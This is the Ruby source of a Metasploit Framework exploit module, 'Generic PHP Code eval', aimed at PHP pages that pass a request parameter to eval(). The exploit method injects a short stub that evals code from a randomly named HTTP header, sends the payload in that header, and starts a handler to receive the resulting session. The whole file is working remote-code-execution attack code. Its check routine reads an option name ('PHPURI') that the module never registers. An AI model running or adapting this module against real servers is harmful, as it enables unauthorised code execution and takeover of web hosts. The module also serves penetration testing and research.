98 lines
2.7 KiB
Ruby
98 lines
2.7 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ManualRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Generic PHP Code eval',
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'Description' => %q{
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Exploits things like <?php eval($_REQUEST['evalme']); ?>
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It is likely that HTTP evasion options will break this exploit.
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},
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'Author' => [ 'egypt' ],
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'License' => BSD_LICENSE,
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'Version' => '$Revision$',
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'References' => [ ],
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'Privileged' => false,
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'Platform' => ['php'],
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'Arch' => ARCH_PHP,
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'Payload' =>
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{
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# max header length for Apache,
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# http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize
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'Space' => 8190,
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# max url length for some old versions of apache according to
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# http://www.boutell.com/newfaq/misc/urllength.html
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#'Space' => 4000,
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'DisableNops' => true,
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'BadChars' => %q|'"`|, # quotes are escaped by PHP's magic_quotes_gpc in a default install
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'Compat' =>
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{
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'ConnectionType' => 'find',
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},
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'Keys' => ['php'],
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},
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'Targets' => [ ['Automatic', { }], ],
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'DefaultTarget' => 0
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))
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register_options(
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[
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OptString.new('URIPATH', [ true, "The URI to request, with the eval()'d parameter changed to !CODE!", '/test.php?evalme=!CODE!']),
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], self.class)
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end
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def check
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uri = datastore['PHPURI'].gsub(/\?.*/, "")
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print_status("Checking uri #{uri}")
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response = send_request_raw({ 'uri' => uri})
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if response.code == 200
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return Exploit::CheckCode::Detected
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end
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print_error("Server responded with #{response.code}")
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return Exploit::CheckCode::Safe
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end
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def exploit
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# very short timeout because the request may never return if we're
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# sending a socket payload
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timeout = 0.01
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headername = "X-" + Rex::Text.rand_text_alpha_upper(rand(10)+10)
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stub = "error_reporting(0);eval($_SERVER[HTTP_#{headername.gsub("-", "_")}]);"
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uri = datastore['URIPATH'].sub("!CODE!", Rex::Text.uri_encode(stub))
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print_status("Sending request for: #{uri}")
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print_status("Payload will be in a header called #{headername}")
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response = send_request_raw({
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'global' => true,
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'uri' => uri,
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'headers' => {
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headername => payload.encoded,
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'Connection' => 'close'
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}
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},timeout)
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if response and response.code != 200
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print_error("Server returned non-200 status code (#{response.code})")
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end
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handler
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end
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end
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